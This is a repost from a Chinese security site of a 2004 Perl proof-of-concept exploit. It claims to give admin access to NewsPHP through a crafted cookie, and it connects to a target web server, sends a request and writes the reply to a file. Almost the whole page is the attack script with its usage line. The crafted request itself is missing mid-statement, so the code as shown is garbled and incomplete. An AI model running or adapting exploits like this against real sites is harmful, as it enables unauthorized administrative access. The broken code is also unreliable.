NewsPHP Admin via Cookie Proof Of Concept Code
|
来源:www.gulo.org 作者:Manuel 发布时间:2004-04-15
|
|
NewsPHP Admin Access via Cookie Proof Of Concept Code#!/usr/bin/perl -w## Example: POCnws.pl www.vulnerweb.com newsadmin POCnws.htmuse IO::Socket;if (@ARGV < 3){print "\n\n";print "PROOF OF CONCEPT (Admin Access via Cookie in NewsPHP)\n\n";print "Usage: POCnws.pl [host] [directory] [file.htm]\n\n";print "By: Manuel Lopez mantra at gulo.org\n";print "\n\n";exit(1);}$host = $ARGV[0];$directorio = $ARGV[1];$fichero = $ARGV[2];print "\n";print "----- Conecting .. <====\n\n";$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>"$host",PeerPort => "80") || die "\$socket error $!";print "====> Conected\n";print "====> Sending Data .. \n";$socket->print(< OK\n";print "====> Generating $fichero ...\n";open( Result, ">$fichero");print Result while <$socket>;close Result;##--------------------------
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|